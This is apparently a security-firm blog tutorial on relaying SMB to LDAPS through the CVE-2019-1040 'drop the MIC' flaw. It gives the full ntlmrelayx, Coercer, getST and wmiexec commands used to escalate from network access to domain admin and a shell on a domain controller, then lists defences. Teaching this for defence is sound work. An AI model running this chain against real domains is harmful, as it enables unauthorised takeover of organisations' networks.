Bypass NTLM Message Integrity Check – Drop the MIC

In An SMB Relay Race – How To Exploit LLMNR and SMB Message Signing for Fun and Profit, Jordan Drysdale¹ shared the dangers of lack of SMB Signing requirements and demonstrated an attack path which can allow an attacker to escalate from zero to Domain Admin (DA) in an Active Directory environment. In this article, we will build off the SMB relay techniques discussed in that blog post and demonstrate an SMB to LDAP(S) relay attack.

Background

Machine Account Quota

The domain attribute used to determine how many computers a user can join to the domain is called ms-ds-machineaccountquota.² By default, any authenticated domain user can join up to 10 computers to an Active Directory domain. Joining a computer to the domain creates a domain object (computer object).

This configuration can be dangerous. Joining a computer to the domain should require approval from an administrator and an organization should have processes in place to ensure that domain computers have the standard security configurations, group policies, endpoint protection applied. Additionally, the process should update the organization’s device inventory.

Message Integrity

Imagine we have gained a foothold in the target organization Foobar’s environment. LDAP is only available on domain controllers. Therefore, we must target a domain controller in an LDAP relay attack. We have performed some basic reconnaissance and located the target domain controller DC01.foobar.com (10.10.10.1).

We can set up an LDAP relay targeting the discovered domain controller using the following Impacket³ ntlmrelayx.py arguments:

• -t: Target to relay the credentials to
• -wh: Enable serving a WPAD file for Proxy Authentication attack, setting the proxy host
• --add-computer – create domain computer object
• -smb2support – SMB version 2 support

The full command:

ntlmrelayx.py \
  -t ldaps://10.10.10.1 \
  -wh [email protected] \
  -smb2support

As demonstrated in the figure below, we received a connection via SMB. However, attempting to relay SMB to LDAP resulted in the following error: “[!] The client requested signing. Relaying to LDAP will not work!  (This usually happens when relaying from SMB to LDAP).”

This behavior is expected. Typically, SMB traffic cannot be relayed to LDAP(S). NTLM authentication consists of three message types: NTLM_NEGOTIATE, NTLM_CHALLENGE, and NTLM_AUTHENTICATE. A field known as the Message Integrity Code was added to the NTLM_AUTHENTICATE message to prevent message tampering.

A vulnerability was published in 2019 revealing a flaw that allowed an attacker to bypass the NTLM Message Integrity Check (MIC).⁴ This issue is known as the “drop the MIC” vulnerability and allows an attacker machine-in-the-middle position to tamper with the NTLM authentication by removing the integrity check. When MIC is not included, the connection from SMB can be relayed to LDAPS.

Exploiting CVE-2019-1040

Once again, let’s imagine we have gained a foothold in the target organization Foobar’s environment. At this point, we have network level access, and we located the target domain controller DC01.foobar.com (10.10.10.1).

To provide a brief initial attack summary:

1. Configure NTLMRelayx to relay NTLM authentication to the target the domain controller and remove message integrity
2. Configure Responder poisoner with SMB and HTTP servers disabled
3. Wait for incoming credentials

We can exploit systems vulnerable to CVE-2019-1040⁵ and relay SMB connections to LDAPS by adding the --remove-mic flag to our Impacket command. Assuming the target domain has the default machine account quota or a policy greater than zero, we can use the --add-computer flag to create a computer object. If the attack is successful, a computer object with the name “snowmachine2$” would be added to the target domain.

The full command is shown below.

ntlmrelayx.py \
  -t ldaps://10.10.10.1 \
  -wh [email protected] \
  --add-computer 'snowmachine2' <PASSWORD>\
  --remove-mic \
  -smb2support

Next, we will configure Responder to poison LLMNR and NetBIOS traffic and automatically pass the NTLM authentication to our Impacket relay by turning the SMB and HTTP servers off. To turn off the Responder servers, we must edit the Responder.conf file:

As shown in the figure below, the relay attack was successful. Credentials for a low privileged user account named FOOBAR/bspears were relayed over LDAPS to create the computer object snowmachine2$.

We have effectively escalated from network access to domain account access. We can test our computer account credentials using CrackMapExec⁶ and query the ms-ds-machineaccountquota.

crackmapexec ldap DC01.foobar.com -u snowmachine2$ -p REDACTED -M MAQ

We can use these domain credentials to enumerate domain information and explore paths of privilege escalation.

Domain Takeover

If we have two domain controllers, and at least one domain controller can be coerced to authenticate to our attacker machine, we can expand upon this attack by relaying credentials from one domain controller to another and creating a computer object with delegation rights to a domain controller.

Scenario Details:

• Domain Controller 1: DC01.foobar.com (10.10.10.1)
• Domain Controller 2: DC02.foobar.com (10.10.10.22)
• Attacker Machine: 10.10.10.200
• Owned User: snowmachine2$ (can use any domain user account)
• Known Domain Administrator Account: DA_Dan

We can elevate privileges from a standard domain computer account (snowmachine2$) to a domain administrator account by following the procedure outlined below:

1. Coerce domain controller DC02 (10.10.10.22) to authenticate to our attacker machine.
2. Relay the hash obtained from the domain controller to LDAPS on target domain controller DC01 (10.10.10.1) and create another domain object with delegation rights to DC02.
3. Use the new computer object to request a service ticket on behalf of the domain administrator (DA_Dan) to impersonate the domain administrator.

By adding the --delegate-access flag to our ntlmrelayx.py command, we can tell ntlmrelayx to create a computer object with delegation access to the relayed account.:

ntlmrelayx.py
  -t ldaps://DC01.foobar.com \
  -wh bhispad \
  --add-computer 'DcMachine' <PASSWORD>\
  --delegate-access\
  --remove-mic \
  -smb2support

Coercer⁷ is a python tool used to coerce Windows machines to authenticate to an attacker machine by abusing various vulnerable RPC functions.

Using the domain credentials obtained from our new computer account snowmachine2$, we can use Coercer to force the victim machine (DC02) to authenticate to the attacker host (10.10.10.200).

**Side Note: In some cases, a relay attack may not require domain credentials. For example, if the victim host is not patched against CVE-2021-36942.⁸**

The Coercer arguments required are as follows:

-u - Domain Username
-p - Password for User 
-d - Target Domain
-l - Listener IP (Our Relay)
-t - Target

The complete Coercer command is shown below.

coercer coerce \
  -u snowmachine2$ \
  -p REDACTED \
  -d foobar.com \
  -l 10.10.10.200 \
  -t DC02.foobar.com

The Coercer response shown below [+] (ERROR_BAD_NETPATH) indicated that the coercion was successful.

As shown in the figure below, we successfully created a computer object with Delegation Rights to DC02.

Our new computer account, DcMachine$ was created with privileges that allow the account to impersonate any user on the domain controller DC02, essentially any domain account including a Domain Admin.

Let’s demonstrate this by impersonating the domain admin DA_Dan. To impersonate the domain admin, we will use Impacket’s getST module to request a Kerberos ticket on behalf of DA_Dan.

getST.py -spn 'cifs/DC02.foobar.come' \
  'foobar.com/DcMachine$' \
  -impersonate 'DA_Dan' \
  -dc-ip 10.10.10.1 
export KRB5CCNAME=DA_Dan.ccache

Using the Kerberos authentication, we can establish an interactive shell on DC02 impersonating the domain admin DA_Dan.

wmiexec.py -k -no-pass FOOBAR.COM/'DA_Dan'@DC02.foobar.com

To summarize, we successfully escalate privileges from network access to domain administrator via two relay attacks. Each attack relayed an incoming SMB connection to an LDAPS connection, which was possible because the target systems were not patched against CVE-2019-1040.

The first attack allowed us to gain our initial set of domain account credentials by relaying SMB connections to LDAPS.

Next, we elevated privileges from a standard domain computer account to a domain administrator account via a second relay attack which involved coercing a domain controller to authenticate to our attacker machine and creating another computer object with delegation rights to the domain controller.

So, How Do We Prevent & Detect Such Attacks?

Weak Active Directory Object Creation:

• Configure notifications to key personnel when new domain objects are added
• Ensure all newly added computer objects are placed in the proper OU and appropriate Group Policies are applied
• Update the organization’s authorized device inventory when a new computer joined the domain
• Review the MS-DS-MachineAccountQuota attribute and disallow non-administrative computer joins to the domain

Network Poisoning and Relay Attacks:

• Enable SMB Signing on all systems
• Disable LLMNR on all clients via Group Policy Object (GPO)
• Disable NetBIOS Name Server (NBNS)
• Disable the Proxy Auto detection via Group Policy
• Disable NTLM
• Ensure all systems are patched against CVE-2019-1040
• Implement detections for malicious RPC calls and consider implementing RPCFirewall

Additional Resources

• https://www.blackhillsinfosec.com/mitm6-strikes-again-the-dark-side-of-ipv6/
• https://www.blackhillsinfosec.com/an-smb-relay-race-how-to-exploit-llmnr-and-smb-message-signing-for-fun-and-profit/
• https://www.antisyphontraining.com/event/hacking-active-directory-fundamentals-and-techniques/
• https://www.blackhillsinfosec.com/impacket-offense-basics-with-an-azure-lab/
• https://www.blackhillsinfosec.com/impacket-defense-basics-with-an-azure-lab/
• https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
• https://support.microsoft.com/en-us/topic/kb4034879-use-the-ldapenforcechannelbinding-registry-entry-to-make-ldap-authentication-over-ssl-tls-more-secure-e9ecfa27-5e57-8519-6ba3-d2c06b21812e
• https://github.com/zeronetworks/rpcfirewall
• https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
• https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
• https://www.bleepingcomputer.com/news/security/microsoft-ntlm-flaws-expose-all-windows-machines-to-rce-attacks/
• https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-1040
• https://securityboulevard.com/2019/06/drop-the-mic-cve-2019-1040/
• https://www.rapid7.com/db/vulnerabilities/msft-cve-2019-1040/

References

1. https://twitter.com/Rev10D ↩︎
2. https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota ↩︎
3. https://github.com/fortra/impacket ↩︎
4. https://github.com/advisories/GHSA-8vpr-83m7-3f7q ↩︎
5. https://nvd.nist.gov/vuln/detail/CVE-2019-1040 ↩︎
6. https://github.com/byt3bl33d3r/CrackMapExec ↩︎
7. https://github.com/p0dalirius/Coercer ↩︎
8. https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942 ↩︎

---

---

Ready to learn more?

Level up your skills with affordable classes from Antisyphon!

Pay-What-You-Can Training

Available live/virtual and on-demand

---

---